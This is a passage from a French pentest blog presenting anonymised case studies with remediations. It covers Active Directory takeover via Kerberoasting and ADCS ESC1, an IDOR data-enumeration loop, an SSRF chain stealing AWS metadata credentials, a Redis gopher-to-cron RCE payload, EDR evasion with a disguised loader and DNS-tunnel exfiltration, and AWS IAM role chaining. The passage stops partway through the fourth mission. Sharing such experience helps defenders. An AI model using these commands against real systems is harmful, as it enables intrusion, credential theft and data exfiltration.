Dans le monde du pentest et de la sécurité offensive, rien ne remplace l’expérience terrain. Les certifications, les labs et les CTF constituent d’excellentes bases d’apprentissage, mais la réalité des missions client est souvent plus complexe, plus imprévisible et infiniment plus riche en enseignements. Cet article vous plonge au cœur de 5 missions de pentest réelles et anonymisées, menées par notre équipe entre 2024 et 2025, couvrant des domaines variés : Active Directory, applications web e-commerce, Red Team contre EDR, cloud AWS et OT/ICS industriel.

Chaque retour d’expérience pentest est structuré de manière identique pour faciliter la comparaison : contexte client, périmètre de la mission, méthodologie appliquée, chronologie détaillée de l’attaque, découvertes classées par sévérité, remédiations recommandées et effectivement appliquées, et enfin les leçons apprises tant pour l’attaquant que pour le défenseur. Les noms de clients, adresses IP, noms de domaine et toute information permettant l’identification ont été soigneusement anonymisés conformément à nos engagements de confidentialité.

En bref : Cet article présente 5 études de cas pentest anonymisées couvrant AD (Domain Admin en 4h), web (IDOR→SSRF→RCE), Red Team (bypass EDR CrowdStrike), cloud AWS (IAM chaining + S3 exfil) et OT/ICS (Modbus + pivot). Chaque cas inclut le contexte, la timeline, les outils, les findings et les remédiations. Temps de lecture estimé : 45-50 minutes.

Introduction : Pourquoi partager des retours d’expérience pentest ?

Le partage de retours d’expérience pentest (souvent abrégés « REX ») constitue un pilier fondamental de la progression collective en cybersécurité. Contrairement aux write-ups de CTF qui opèrent dans des environnements contrôlés, les missions terrain confrontent les pentesters à des infrastructures vivantes, des contraintes opérationnelles réelles et des architectures souvent bien plus complexes que les scénarios de laboratoire.

🎯 Points Clés à Retenir

  • Les failles les plus critiques sont souvent liées à la configuration, pas aux CVE connues
  • Le temps moyen de compromission d'un AD mal configuré est inférieur à 4 heures
  • La documentation et la restitution sont aussi importantes que la phase technique
  • Chaque mission apporte des enseignements uniques sur les pratiques de sécurité réelles

Les bénéfices de ce partage sont multiples. Pour les pentesters juniors, ces récits fournissent des exemples concrets de méthodologies appliquées en conditions réelles. Pour les pentesters seniors, ils offrent des perspectives différentes et des techniques qu’ils n’auraient peut-être pas envisagées. Pour les défenseurs (SOC analysts, architectes sécurité, RSSI), ils constituent une source précieuse d’intelligence sur les vecteurs d’attaque réellement exploités et les lacunes de sécurité les plus fréquentes. Enfin, pour les décideurs, ils justifient les investissements en sécurité en illustrant concrètement les risques.

Bien entendu, le partage d’expériences en pentest est encadré par des obligations légales et contractuelles strictes. Chaque mission présentée ici a été anonymisée selon notre protocole interne : les noms de clients sont remplacés par des pseudonymes sectoriels (« IndustriaCorp », « ShopSecure », etc.), les adresses IP sont modifiées, les noms de domaine fictifs, et les détails trop spécifiques qui permettraient une identification sont altérés ou omis. Les clients concernés ont donné leur accord pour cette publication anonymisée.

⚠️ Avertissement légal : Les techniques décrites dans cet article sont présentées à des fins éducatives uniquement. Leur utilisation sans autorisation explicite écrite constitue une infraction pénale (articles 323-1 à 323-7 du Code pénal français). Toutes les missions présentées ont été réalisées dans le cadre de contrats de prestation légaux avec autorisation formelle des propriétaires des systèmes.

Méthodologie commune et cadre de référence

L’ensemble de nos missions de pentest s’appuie sur des référentiels reconnus, adaptés au contexte de chaque engagement :

  • PTES (Penetration Testing Execution Standard) : cadre global structurant les phases de la mission, de la pré-engagement à la rédaction du rapport.
  • OWASP Testing Guide v4.2 : référentiel pour les tests d’applications web, complété par l’OWASP ASVS pour les exigences de vérification.
  • MITRE ATT&CK Enterprise : framework de classification des techniques d’attaque, utilisé pour le mapping systématique de nos findings.
  • CVSS v3.1 / v4.0 : système de scoring des vulnérabilités pour la classification par sévérité (Critical, High, Medium, Low, Info).
  • PASSI (ANSSI) : cadre de prestation d’audit de sécurité des systèmes d’information, applicable au contexte réglementaire français.

Chaque mission suit un cycle en 7 phases : 1) Cadrage et RoE (Rules of Engagement), 2) Reconnaissance passive et active, 3) Énumération et cartographie, 4) Identification des vulnérabilités, 5) Exploitation et post-exploitation, 6) Pivoting et mouvement latéral, 7) Rapport et restitution. La durée de chaque phase varie selon le type de mission et le périmètre défini.

💡 Conseil : Pour approfondir nos méthodologies de pentest Active Directory, consultez notre guide complet du pentest Active Directory qui détaille chaque phase avec des exemples pratiques.

Mission 1 : Pentest AD Interne — Domain Admin en 4 heures

1.1 Contexte de la mission

ParamètreDétail
Client (anonymisé)IndustriaCorp — ETI industrielle, ~2 500 employés
SecteurIndustrie manufacturière
Type de missionPentest interne boîte grise (credentials utilisateur standard)
PérimètreDomaine Active Directory principal + 2 forêts approuvées
Durée8 jours ouvrés (dont 5 jours de test actif)
Équipe2 pentesters seniors
Budget indicatif15 000 – 20 000 € HT
Objectif principalÉvaluer la résistance de l’AD à une compromission interne
Point de départPoste de travail Windows 10 joint au domaine, compte utilisateur standard

IndustriaCorp avait récemment subi un incident de sécurité mineur (phishing réussi avec compromission d’un compte utilisateur) et souhaitait évaluer le risque réel d’une escalade de privilèges depuis un compte standard vers les droits Domain Admin. L’infrastructure reposait sur un domaine Active Directory Windows Server 2019, avec environ 3 200 objets utilisateurs, 450 groupes et 180 serveurs. Un service Active Directory Certificate Services (ADCS) était déployé pour la gestion des certificats internes.

1.2 Phase de reconnaissance et énumération

La première étape a consisté à cartographier l’environnement AD depuis notre poste utilisateur standard. Nous avons utilisé BloodHound via son collecteur SharpHound pour mapper les relations de confiance, les chemins d’escalade et les ACL du domaine.

# Collecte BloodHound depuis le poste utilisateur
.\SharpHound.exe --CollectionMethods All --Domain industria.local --ExcludeDomainControllers
# Duree : ~12 minutes pour 3200 utilisateurs

# Enumeration des SPNs pour identifier les comptes Kerberoastables
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof | Format-Table -AutoSize

# Resultat : 47 comptes avec SPN definis
# Dont 3 comptes membres de groupes privilegies

L’analyse BloodHound a révélé plusieurs chemins d’escalade potentiels. Le plus prometteur impliquait un compte de service svc-sqlprod membre du groupe Server Operators, lui-même ayant des droits GenericAll sur le groupe Domain Admins via une délégation héritée. Ce compte possédait un SPN (Service Principal Name) défini, le rendant vulnérable à une attaque Kerberoasting.

# Enumeration des templates de certificats ADCS
.\Certify.exe find /vulnerable

# Resultat critique trouve :
# Template Name : UserAuthCert
# Enrollment Rights : Domain Users (!)
# Client Authentication : True
# ENROLLEE_SUPPLIES_SUBJECT : True  => ESC1 !
# CA Name : INDUSTRIA-CA01

En parallèle, l’outil Certify a identifié un template de certificat ADCS vulnérable à l’attaque ESC1 (Escalation Scenario 1). Le template UserAuthCert autorisait n’importe quel utilisateur du domaine (Domain Users) à demander un certificat avec l’option ENROLLEE_SUPPLIES_SUBJECT activée, permettant de spécifier un SAN (Subject Alternative Name) arbitraire — y compris celui d’un Domain Admin. Pour plus de détails sur ces techniques, consultez notre article sur le Kerberoasting et AS-REP Roasting.

1.3 Exploitation : Kerberoasting du compte de service

# Kerberoasting avec Rubeus
.\Rubeus.exe kerberoast /user:svc-sqlprod /outfile:tgs_svc-sqlprod.kirbi /format:hashcat

# Hash extrait (format hashcat type 13100) :
# $krb5tgs$23$*svc-sqlprod$INDUSTRIA.LOCAL$MSSQLSvc/sql01.industria.local:1433*$a8e3...

# Cracking avec hashcat sur GPU (RTX 4090)
hashcat -m 13100 tgs_svc-sqlprod.kirbi /opt/wordlists/rockyou2024.txt -r /opt/rules/best64.rule
# Resultat : mot de passe cracke en 23 minutes => "SqlPr0d2023!"
⚠️ Finding critique : Le mot de passe du compte de service svc-sqlprod (membre de Server Operators) était un mot de passe faible de 12 caractères avec un pattern prévisible (nom du service + année). Avec un GPU moderne, ce type de mot de passe est craqué en moins de 30 minutes. CVSS: 8.1 (High)MITRE ATT&CK T1558.003.

1.4 Exploitation : ADCS ESC1 — Le chemin direct vers Domain Admin

# Demande de certificat avec SAN = administrateur du domaine via Certipy
certipy req -u 'j.dupont@industria.local' -p 'Welcome2024!' \
  -ca 'INDUSTRIA-CA01' -template 'UserAuthCert' \
  -upn 'administrateur@industria.local' -dc-ip 10.10.1.10

# Certificat obtenu : administrateur.pfx

# Authentification via le certificat (PKINIT)
certipy auth -pfx administrateur.pfx -dc-ip 10.10.1.10

# Resultat : TGT obtenu pour le compte Administrateur
# NT Hash recupere : aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99
# Validation de l'acces Domain Admin via CrackMapExec
crackmapexec smb 10.10.1.10 -u 'Administrateur' -H '5f4dcc3b5aa765d61d8327deb882cf99' --shares

# SMB  10.10.1.10  445  DC01  [*] Windows Server 2019 Build 17763 x64
# SMB  10.10.1.10  445  DC01  [+] INDUSTRIA\Administrateur (Pwn3d!)
# SMB  10.10.1.10  445  DC01  Enumerated shares: ADMIN$, C$, IPC$, NETLOGON, SYSVOL

Temps total depuis le début de la mission : 3 heures 47 minutes. Deux chemins indépendants vers Domain Admin ont été identifiés et exploités avec succès. La kill chain complète selon MITRE ATT&CK : Initial Access (T1078) → Discovery (T1087) → Credential Access (T1558.003 — Kerberoasting) + Credential Access (T1649 — Steal or Forge Authentication Certificates) → Privilege Escalation → Domain Admin.

1.5 Synthèse des findings

IDVulnérabilitéSévéritéCVSSMITRE ATT&CK
AD-01ADCS ESC1 — Template UserAuthCert avec ENROLLEE_SUPPLIES_SUBJECT🔴 Critique9.8T1649
AD-02Kerberoasting — Compte svc-sqlprod avec mot de passe faible🔴 Haute8.1T1558.003
AD-03Délégation excessive — Server Operators → GenericAll → Domain Admins🔴 Haute7.8T1078
AD-0447 comptes de service avec SPN exposé🟠 Moyenne6.5T1558.003
AD-05Politique de mots de passe service : pas de rotation depuis 18 mois🟠 Moyenne5.9T1110
AD-06SMB Signing désactivé sur 23% des serveurs🟡 Basse4.3T1557.001
AD-07LLMNR/NBT-NS activés sur le réseau interne🟡 Basse4.0T1557.001

1.6 Remédiations appliquées

Suite à la restitution de la mission, IndustriaCorp a mis en œuvre les actions correctives suivantes dans un délai de 6 semaines :

  1. ADCS ESC1 (J+2) : Suppression immédiate de l’option ENROLLEE_SUPPLIES_SUBJECT sur le template vulnérable et restriction des droits d’enrollment aux groupes légitimes.
  2. Kerberoasting (J+5) : Migration des comptes de service vers des Group Managed Service Accounts (gMSA) avec rotation automatique des mots de passe (120 caractères, rotation 30 jours).
  3. ACL (J+14) : Audit et nettoyage des ACL Active Directory avec suppression des délégations excessives identifiées par BloodHound.
  4. SMB Signing (J+21) : Activation du SMB Signing obligatoire via GPO sur l’ensemble des serveurs et postes de travail.
  5. LLMNR/NBT-NS (J+21) : Désactivation via GPO de LLMNR et NBT-NS sur l’ensemble du parc.
  6. Monitoring (J+30) : Déploiement de règles de détection dans le SIEM pour les événements Kerberoasting (Event ID 4769 avec encryption type 0x17) et les demandes de certificats suspectes.

1.7 Leçons apprises

💡 Leçon clé — Pentest AD : L’ADCS est devenu le vecteur d’escalade le plus rapide en environnement AD. Un template mal configuré permet d’obtenir Domain Admin en une seule commande, sans interaction réseau suspecte. L’audit régulier des templates de certificats avec des outils comme Certify ou Certipy doit faire partie de chaque revue de sécurité AD.

Pour l’équipe d’attaque, cette mission a confirmé que la combinaison Kerberoasting + ADCS constitue actuellement le vecteur d’escalade le plus efficace en environnement AD. Le temps pour atteindre Domain Admin (moins de 4 heures) est représentatif de ce que nous observons sur la majorité des missions AD internes — seules les organisations ayant spécifiquement durci leur ADCS et migré vers des gMSA résistent significativement plus longtemps.

Pour le défenseur, la leçon principale est que la sécurité AD ne se limite pas aux GPO et aux mots de passe. Les composants souvent négligés (ADCS, ACL, SPNs) représentent les vecteurs d’attaque les plus dangereux. Un audit AD complet doit inclure une revue ADCS systématique, un inventaire des SPNs, et une analyse des chemins d’attaque via BloodHound.

Mission 2 : Pentest Web E-Commerce — IDOR + SSRF → RCE

2.1 Contexte de la mission

ParamètreDétail
Client (anonymisé)ShopSecure — Plateforme e-commerce B2C, ~800 000 clients
SecteurRetail / E-commerce
Type de missionPentest applicatif boîte grise (2 comptes : client + admin restreint)
PérimètreApplication web + API REST + Back-office admin
Stack techniqueNode.js (Express), React, PostgreSQL, Redis, AWS ECS
Durée10 jours ouvrés (dont 7 jours de test actif)
Équipe2 pentesters (1 senior web + 1 spécialiste API)
Budget indicatif18 000 – 25 000 € HT
Objectif principalIdentifier les failles permettant l’accès aux données clients et/ou le RCE

ShopSecure opérait une plateforme e-commerce traitant environ 15 000 commandes par jour, avec un chiffre d’affaires annuel supérieur à 50M€. La plateforme avait été développée en interne par une équipe de 12 développeurs sur 3 ans, avec plusieurs refontes successives de l’API. L’application était hébergée sur AWS ECS (Elastic Container Service) avec un backend Node.js et une base PostgreSQL managée (RDS). Un dernier audit datait de 18 mois et n’avait révélé que des findings de sévérité moyenne.

2.2 Reconnaissance et cartographie de l’API

# Decouverte d'endpoints avec ffuf
ffuf -u https://api.shopsecure-anon.com/api/v2/FUZZ \
  -w /opt/wordlists/api-endpoints.txt \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -mc 200,201,403 -o ffuf_results.json

# Resultats notables :
# /api/v2/orders/{id}          => 200 (attendu)
# /api/v2/users/{id}/profile   => 200 (attendu)
# /api/v2/admin/export         => 403 (interessant)
# /api/v2/internal/health      => 200 (non documente !)
# /api/v2/internal/webhook     => 200 (non documente !)
# /api/v2/debug/generate-pdf   => 200 (non documente !)

L’endpoint /api/v2/debug/generate-pdf a immédiatement attiré notre attention. Il acceptait un paramètre url pour générer un PDF à partir d’une URL — un comportement classique de Server-Side Request Forgery (SSRF) potentiel.

2.3 Exploitation de l’IDOR sur les commandes

# Test IDOR - acces aux commandes d'autres utilisateurs
curl -s -H "Authorization: Bearer $TOKEN_CLIENT" \
  "https://api.shopsecure-anon.com/api/v2/orders/CMD-2024-789010" \
  | jq '.data | {order_id, customer_name, email, address, items, total}'

# Resultat : acces complet aux donnees d'un autre client !
# {
#   "order_id": "CMD-2024-789010",
#   "customer_name": "Jean M********",
#   "email": "jean.m****@****.fr",
#   "address": "12 rue ********, 75*** Paris",
#   "items": [...],
#   "total": 234.50
# }

# Enumeration automatisee de 100 commandes
for i in $(seq 789000 789100); do
  curl -s -H "Authorization: Bearer $TOKEN_CLIENT" \
    "https://api.shopsecure-anon.com/api/v2/orders/CMD-2024-$i" \
    | jq -r '.data.email // empty'
done | sort -u | wc -l
# Resultat : 87 adresses email uniques recuperees sur 101 tentatives
⚠️ Finding critique : IDOR sur l’endpoint /api/v2/orders/{id} permettant l’accès aux données personnelles (nom, email, adresse, détails de commande) de n’importe quel client. Avec un identifiant séquentiel prévisible, l’ensemble des ~800 000 clients était exposé. CVSS: 7.5 (High) — Conformément au OWASP Testing Guide, section IDOR (WSTG-ATHZ-04).

2.4 Exploitation de la chaîne SSRF → RCE

# Phase 1 : Confirmation du SSRF - acces au metadata service AWS
curl -X POST "https://api.shopsecure-anon.com/api/v2/debug/generate-pdf" \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Le PDF genere contient le nom du role IAM : "ecs-task-role-shopsecure-prod"

# Phase 2 : Recuperation des credentials IAM temporaires
curl -X POST "https://api.shopsecure-anon.com/api/v2/debug/generate-pdf" \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-task-role-shopsecure-prod"}'
# PDF contient les credentials AWS temporaires (AccessKeyId, SecretAccessKey, Token)

# Phase 3 : SSRF vers le service Redis interne (port 6379)
curl -X POST "https://api.shopsecure-anon.com/api/v2/debug/generate-pdf" \
  -H "Authorization: Bearer $TOKEN_CLIENT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://redis-cache.internal:6379/"}'
# Confirmation : Redis accessible sans authentification
# Phase 4 : RCE via Redis - exploitation SSRF => Redis => cron
# Construction du payload gopher pour Redis (simplifie)
python3 -c "
import urllib.parse
commands = [
    'CONFIG SET dir /var/spool/cron/crontabs/',
    'CONFIG SET dbfilename node',
    'SAVE'
]
payload = ''
for cmd in commands:
    args = cmd.split()
    payload += f'*{len(args)}\r\n'
    for arg in args:
        payload += f'\${len(arg)}\r\n{arg}\r\n'
print(f'gopher://redis-cache.internal:6379/_{urllib.parse.quote(payload)}')
"
# Envoi via le SSRF
# Resultat : callback recu sur notre serveur => RCE confirme !
⚠️ Finding critique (CVSS 9.8) : Chaîne d’exploitation SSRF → Redis → RCE. L’endpoint de debug non protégé permet d’atteindre les services internes AWS (metadata, Redis), aboutissant à une exécution de code arbitraire sur le conteneur de production. Impact : compromission complète de l’application et des données clients.

2.5 Synthèse des findings

IDVulnérabilitéSévéritéCVSSOWASP Top 10
WEB-01SSRF → Redis → RCE via endpoint debug🔴 Critique9.8A10:2021 SSRF
WEB-02IDOR sur les commandes — accès aux données de 800K clients🔴 Haute7.5A01:2021 Broken Access Control
WEB-03SSRF vers AWS metadata (IMDSv1) — vol de credentials IAM🔴 Haute8.2A10:2021 SSRF
WEB-04Redis interne sans authentification🔴 Haute7.8A07:2021 Auth Failures
WEB-05Endpoint debug exposé en production🟠 Moyenne6.5A05:2021 Security Misconfiguration
WEB-06En-têtes de sécurité manquants (CSP, HSTS preload)🟡 Basse3.7A05:2021 Security Misconfiguration
WEB-07Verbose error messages exposant le stack trace🟡 Basse3.1A05:2021 Security Misconfiguration

2.6 Remédiations appliquées

  1. RCE Chain (J+1, hotfix d’urgence) : Suppression immédiate de l’endpoint /api/v2/debug/generate-pdf. Migration du service de génération PDF vers un microservice isolé avec whitelist d’URLs stricte.
  2. IDOR (J+3) : Implémentation d’un contrôle d’autorisation basé sur le user_id du token JWT. Mise en place d’UUIDs v4 en remplacement des identifiants séquentiels.
  3. SSRF / IMDSv2 (J+7) : Migration vers IMDSv2 (token obligatoire) sur toutes les instances ECS.
  4. Redis (J+7) : Activation de l’authentification Redis (AUTH + TLS) et restriction du security group.
  5. Revue de code (J+30) : Audit de code complet des endpoints API avec intégration de tests DAST dans la pipeline CI/CD.

2.7 Leçons apprises

💡 Leçon clé — Pentest web : Les vulnérabilités les plus critiques naissent souvent de la combinaison de failles de sévérité moyenne. Individuellement, un SSRF limité ou un Redis sans auth sont des findings « moyens ». Ensemble, ils constituent une chaîne RCE critique. Le pentest doit toujours chercher à chaîner les vulnérabilités pour démontrer l’impact réel maximum.

Cette mission a également mis en évidence un problème récurrent : les endpoints de debug laissés en production. L’endpoint avait été créé par un développeur pour tester la génération de factures PDF, puis oublié lors du déploiement en production. L’absence de revue de code systématique a permis à cet endpoint de persister pendant plus de 8 mois.

Mission 3 : Red Team vs EDR — Bypass CrowdStrike Falcon

3.1 Contexte de la mission

ParamètreDétail
Client (anonymisé)FinanceGuard — Groupe bancaire, ~5 000 employés
SecteurServices financiers / Banque
Type de missionRed Team engagement complet (assumed breach + full scope)
PérimètreInfrastructure complète — objectif : atteindre le core banking
EDR déployéCrowdStrike Falcon Enterprise (version récente)
SOCSOC externalisé 24/7 + équipe IR interne (3 personnes)
Durée20 jours ouvrés (4 semaines)
Équipe3 opérateurs Red Team + 1 développeur d’implants
Budget indicatif45 000 – 60 000 € HT
Objectif principalAccéder aux données du core banking sans être détecté par le SOC

FinanceGuard souhaitait tester la résilience de son infrastructure face à une menace avancée (APT-like). Le scope incluait l’ingénierie sociale, la compromission de postes protégés par CrowdStrike Falcon, le mouvement latéral, et l’exfiltration de données du système bancaire central. L’engagement était de type « assumed breach » avec un accès initial via un poste de travail déjà compromis. Pour approfondir les techniques d’évasion EDR, consultez notre article sur les techniques de bypass EDR en 2026.

3.2 Phase de développement : Custom Loader + ETW Patching

La première semaine a été consacrée au développement d’un loader custom capable de contourner les mécanismes de détection de CrowdStrike Falcon. Notre approche reposait sur plusieurs techniques combinées :

Technique 1 : ETW (Event Tracing for Windows) Patching

# Concept de l'ETW Patching (simplifie pour illustration)
# En realite, implemente en C/C++ dans notre loader

# Etape 1 : Resolution de l'adresse de EtwEventWrite dans ntdll.dll
# GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite")

# Etape 2 : Patch de EtwEventWrite avec un simple RET (0xC3)
# L'EDR ne recevra plus les evenements ETW de notre processus
# Note : le loader reel utilise des syscalls directs pour eviter les hooks userland

Technique 2 : Unhooking de ntdll.dll

# Concept d'unhooking ntdll (pseudo-code)
# Le loader reel est implemente en C++ avec des syscalls directs

# 1. Lire ntdll.dll propre depuis le disque (KnownDlls)
# 2. Mapper les sections .text
# 3. Remplacer la section .text hookee en memoire par la version propre
# Resultat : tous les hooks EDR sur ntdll sont supprimes pour notre processus

# Alternative utilisee : syscalls directs via SysWhispers3
# Avantage : pas besoin de toucher a ntdll

Technique 3 : Chargement réflectif avec chiffrement AES-256

# Preparation du payload - chiffrement AES-256 du shellcode
python3 encrypt_payload.py \
  --input beacon_raw.bin \
  --output payload.enc \
  --key-derivation "env:COMPUTERNAME+date" \
  --cipher aes-256-gcm

# Le loader dechiffre le payload uniquement si l'environnement cible correspond
# => empeche l'analyse en sandbox

# Compilation du loader avec obfuscation
# Technique : API hashing + string encryption + control flow flattening
cl.exe /O2 /MT loader.cpp /Fe:update_service.exe /link /SUBSYSTEM:WINDOWS

3.3 Exécution de l’opération Red Team

JourActionDétection SOC ?
J+1Déploiement du loader custom — exécution du beacon C2❌ Non détecté
J+1ETW Patching + AMSI bypass — désactivation de la télémétrie locale❌ Non détecté
J+2Reconnaissance AD avec BOF (Beacon Object Files) — pas de fork&run❌ Non détecté
J+3Kerberoasting ciblé via BOF + cracking offline❌ Non détecté
J+4Mouvement latéral via WMI + Pass-the-Hash (custom BOF)⚠️ Alerte low-priority (ignorée par SOC)
J+5-6Pivot vers le segment serveurs via jump host compromis❌ Non détecté
J+7Compromission du serveur de base de données (core banking staging)❌ Non détecté
J+8Exfiltration simulée de 50 enregistrements test via DNS tunneling❌ Non détecté
J+10Déclenchement intentionnel d’alertes pour tester la réponse du SOC✅ Détecté après 4h
# Exfiltration DNS - technique utilisee (simplifie)
# Les donnees sont encodees en base32 et envoyees comme sous-domaines DNS
# Le serveur DNS autoritaire reconstitue les donnees

# Outil utilise : dnscat2 modifie avec jitter aleatoire
# Debit : ~500 bytes/seconde (suffisant pour des donnees ciblees)
# Domaine C2 : update-check.legitimate-looking-domain.com

# Exemple de requete DNS generee :
# GEZDGNBVGY3TQOJQ.update-check.legitimate-looking-domain.com

3.4 Synthèse des findings

IDVulnérabilité / ConstatSévéritéImpact
RT-01Bypass CrowdStrike Falcon via loader custom + ETW patching🔴 CritiqueExécution de code arbitraire sans détection
RT-02Absence de détection du mouvement latéral WMI/PtH🔴 HautePropagation non détectée dans l’infrastructure
RT-03SOC : alerte low-priority non investiguée pendant 48h🔴 HauteFenêtre d’opportunité de 48h pour l’attaquant
RT-04Absence de segmentation réseau entre IT et core banking🔴 HautePivot direct vers les systèmes critiques
RT-05DNS tunneling non détecté (pas d’inspection DNS avancée)🟠 MoyenneExfiltration de données via canal covert
RT-06Pas de MFA sur les accès administrateurs internes🟠 MoyenneRéutilisation de credentials compromises facilitée

3.5 Remédiations appliquées

  1. SOC (J+5) : Révision des procédures d’escalade SOC — toute alerte de mouvement latéral est désormais traitée en priorité haute, indépendamment du score initial.
  2. Segmentation (J+30) : Mise en place d’une micro-segmentation avec des firewalls de nouvelle génération entre le segment IT, le segment serveurs et le segment core banking.
  3. CrowdStrike (J+14) : Activation des features avancées : kernel-level ETW monitoring, memory scanning amélioré, politique « block on suspicious » plutôt que « alert ».
  4. DNS (J+21) : Déploiement d’une solution de DNS filtering avec détection d’anomalies (requêtes DNS haute entropie, sous-domaines longs, volumes anormaux).
  5. MFA (J+45) : Déploiement de MFA (FIDO2/WebAuthn) pour tous les accès administrateurs et systèmes critiques.

3.6 Leçons apprises

💡 Leçon clé — Red Team : Un EDR, même de classe enterprise comme CrowdStrike Falcon, n’est pas une solution de sécurité suffisante à lui seul. La détection repose sur un triptyque EDR + SOC compétent + architecture segmentée. Sans les trois, un attaquant motivé contournera les défenses. Le Red Team est le seul moyen de tester cette chaîne de défense de bout en bout.

Pour l’équipe d’attaque, cette mission a confirmé l’efficacité des techniques de patching mémoire (ETW, AMSI) combinées à l’utilisation de syscalls directs pour contourner les EDR modernes. La clé du succès résidait dans le développement sur mesure : les outils « off-the-shelf » (Mimikatz non modifié, PowerShell Empire standard) sont systématiquement détectés par CrowdStrike. Le développement d’implants custom avec des techniques d’évasion spécifiques à l’EDR ciblé est devenu indispensable pour les engagements Red Team de haut niveau.

Mission 4 : Audit Cloud AWS — IAM Role Chaining + S3 Exfiltration

4.1 Contexte de la mission

ParamètreDétail
Client (anonymisé)CloudFirst — SaaS B2B, ~200 employés
SecteurÉditeur logiciel / SaaS
Type de missionAudit sécurité cloud AWS boîte grise (accès IAM read-only fourni)
Périmètre3 comptes AWS (prod, staging, dev) + Organisation AWS
Services AWS utilisésEC2, ECS, Lambda, S3, RDS, IAM, SQS, SNS, CloudFront
Durée12 jours ouvrés
Équipe2 pentesters spécialistes cloud
Budget indicatif20 000 – 28 000 € HT
Objectif principalIdentifier les chemins d’escalade IAM et les risques de fuite de données

CloudFirst opérait une plateforme SaaS de gestion de projets avec environ 15 000 entreprises clientes. L’infrastructure cloud AWS avait grandi organiquement sur 5 ans, avec un héritage de politiques IAM accumulées par les différentes équipes. Un compte IAM avec des droits en lecture seule (SecurityAudit + ViewOnlyAccess) a été fourni comme point de départ. Pour plus de détails, consultez notre article sur l’escalade de privilèges IAM multi-cloud.

4.2 Reconnaissance et cartographie IAM

# Scan initial avec Prowler v4
prowler aws --profile cloudfirst-audit --output-formats json,html \
  --compliance cis_3.0 pci_3.2.1 --severity critical high medium

# Resultat : 847 findings dont 23 critical, 89 high, 234 medium

# Cartographie IAM avec Pacu
python3 pacu.py
# Pacu (cloudfirst-audit:prod) > run iam__enum_users_roles_policies_groups
# [+] 347 users found
# [+] 89 roles found
# [+] 156 policies found (dont 43 custom inline policies)
# [+] 34 groups found

# Analyse des chemins d'escalade avec PMapper
pmapper graph create --profile cloudfirst-audit
pmapper analysis --output-type text
# PMapper a identifie 7 chemins d'escalade vers admin
# Le plus court : 3 hops (role chaining)
# Decouverte du chemin d'escalade IAM critique
# Role de depart : lambda-deploy-staging (assumable depuis le compte staging)
# Hop 1 : lambda-deploy-staging peut assumer cross-account-deploy-role (prod)
# Hop 2 : cross-account-deploy-role a iam:PassRole vers ecs-task-admin-role
# Hop 3 : ecs-task-admin-role a s3:* et rds:* => acces complet aux donnees

aws iam get-role --role-name lambda-deploy-staging --profile cloudfirst-audit \
  | jq '.Role.AssumeRolePolicyDocument'

# Trust policy : permet l'assumption depuis le compte staging ENTIER
# Principal: {"AWS": "arn:aws:iam::111111111111:root"} <= TROP PERMISSIF !

4.3 Exploitation : IAM Role Chaining

# Etape 1 : Assumption du role cross-account depuis staging vers prod
aws sts assume-role \
  --role-arn "arn:aws:iam::222222222222:role/cross-account-deploy-role" \
  --role-session-name "pentest-escalade" \
  --profile cloudfirst-staging-dev

# Credentials temporaires obtenues pour le compte de production
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Etape 2 : Utilisation de iam:PassRole pour lancer une tache ECS
aws ecs run-task --cluster prod-main --task-definition data-export:latest \
  --overrides '{"taskRoleArn": "arn:aws:iam::222222222222:role/ecs-task-admin-role"}'

# Etape 3 : Listing des buckets S3 de production
aws s3 ls --recursive s3://cloudfirst-prod-data/ | head -20
# customer-exports/, database-backups/, user-uploads/, api-logs/

4.4 Exploitation : S3 Bucket Exfiltration

# Inventaire des buckets S3 accessibles
aws s3api list-buckets | jq -r '.Buckets[].Name'

# Decouvertes critiques :
# 1. cloudfirst-prod-backups : bucket de backups RDS en clair
# 2. cloudfirst-logs : credentials en clair dans les logs applicatifs
# 3. cloudfirst-staging-public : bucket staging avec ACL "public-read" (!!)

# Verification du bucket public
aws s3api get-bucket-acl --bucket cloudfirst-staging-public
# Grants: AllUsers = READ
# Ce bucket contient des copies de la base de donnees staging
# avec des donnees clients REELLES (la staging utilise des donnees de prod copiees)

# Simulation d'exfiltration (bucket prive, via le role compromis)
aws s3 cp s3://cloudfirst-prod-backups/rds-export-2024-11-15.sql.gz . --dryrun
# Taille : 2.3 GB - contient potentiellement toutes les donnees clients
⚠️ Finding critique (CVSS 9.1) : La chaîne d’escalade IAM permet à un développeur staging d’accéder aux données de production via role chaining (3 hops). Un bucket S3 staging est publiquement accessible et contient des données clients réelles. Les backups RDS de production sont stockés en clair dans S3. Impact potentiel : fuite des données de 15 000 entreprises clientes.

4.5 Synthèse des findings

IDVulnérabilitéSévéritéCVSSRéférence
AWS-01IAM Role Chaining — Escalade staging → prod en 3 hops🔴 Critique9.1T1078.004
AWS-02S3 bucket staging publiquement accessible avec données clients🔴 Critique9.0CIS AWS 2.1.2
AWS-03Backups RDS en clair dans S3 sans chiffrement SSE🔴 Haute8.2CIS AWS 2.1.1
AWS-04Trust policy IAM trop permissive (account root au lieu de rôle spécifique)🔴 Haute7.8T1550
AWS-05Credentials en clair dans les logs CloudWatch🟠 Moyenne6.5T1552.005
AWS-06CloudTrail non activé sur le compte staging🟠 Moyenne5.8CIS AWS 3.1
AWS-07GuardDuty non activé sur les 3 comptes🟠 Moyenne5.5CIS AWS 4.15
AWS-08Absence de S3 Block Public Access au niveau de l’organisation🟠 Moyenne5.3CIS AWS 2.1.5

4.6 Remédiations appliquées

  1. S3 public (J+1, urgence) : Blocage immédiat de l’accès public via S3 Block Public Access au niveau de l’organisation AWS.
  2. IAM Role Chaining (J+7) : Révision complète des trust policies IAM. Remplacement des principals :root par des rôles spécifiques. Mise en place de conditions IAM.
  3. S3 Encryption (J+14) : Activation du chiffrement SSE-KMS sur tous les buckets contenant des données sensibles.
